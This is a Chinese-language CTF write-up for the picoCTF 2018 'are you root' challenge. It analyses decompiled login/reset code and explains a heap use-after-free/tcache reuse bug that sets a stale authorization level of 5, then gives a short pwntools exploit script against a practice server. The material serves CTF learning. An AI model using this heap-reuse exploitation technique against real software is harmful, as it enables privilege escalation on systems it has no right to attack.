picoctf_2018_are you root

picoctf_2018_are you root

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

64位没开pie

看一下ida

发现有个give_flag函数,基本调用就可以getflag了

if ( v6 )
      {
        if ( *((_DWORD *)v6 + 2) == 5 )
          give_flag(s);
        else
          puts("Must have authorization level 5.");
      }

只要v6+2的指针,指向的内容是5就可以getflag了

看一下add

else if ( !strncmp(s, "login", 5uLL) )
    {
      if ( v6 )
      {
        puts("Already logged in. Reset first.");
      }
      else
      {
        nptr = strtok(v10, "\n");
        if ( !nptr )
          goto LABEL_11;
        v6 = (void **)malloc(0x10uLL);
        if ( !v6 )
        {
          puts("malloc() returned NULL. Out of Memory\n");
          exit(-1);
        }
        *v6 = (void *)(int)strdup(nptr);
        printf("Logged in as \"%s\"\n", nptr);
      }
    }

他这里是申请两个堆,

第一个堆,申请0x10大小的堆,并且放入第二个堆的堆指针

介绍一下strdup函数

他会调用malloc()函数并且不会自身free。并且把内容写入堆

所以再看一下free的过程

else if ( !strncmp(s, "reset", 5uLL) )
    {
      if ( v6 )
      {
        free(*v6);
        v6 = 0LL;
        puts("Logged out!");
      }
      else
      {
        puts("Not logged in!");
      }
    }

只free掉了v6的指针,也就是二号堆,并没有把申请的一号堆free掉,并且只清空了一号堆的[0]。

思路如下,我们利用

申请的二号堆,写入辣鸡数据,然后将[1]写入0x5然后free掉,进入tcache,然后再申请回来,此时的二号堆变成了

新的一号堆,里面存放着0x5。并且v6+2指向也是这个位置
在这里插入图片描述

然后我们就可以getflag了

from pwn import*
from Yapack import *
libc=ELF('./libc-2.27.so')   

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28577,"./pwn",10)

me=b'> '
sla(me,b'login '+b'a'*8+p64(0x5))
sla(me,b'reset')
sla(me,b'login ya')
sla(me,b'get-flag')

#debug()
ia()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值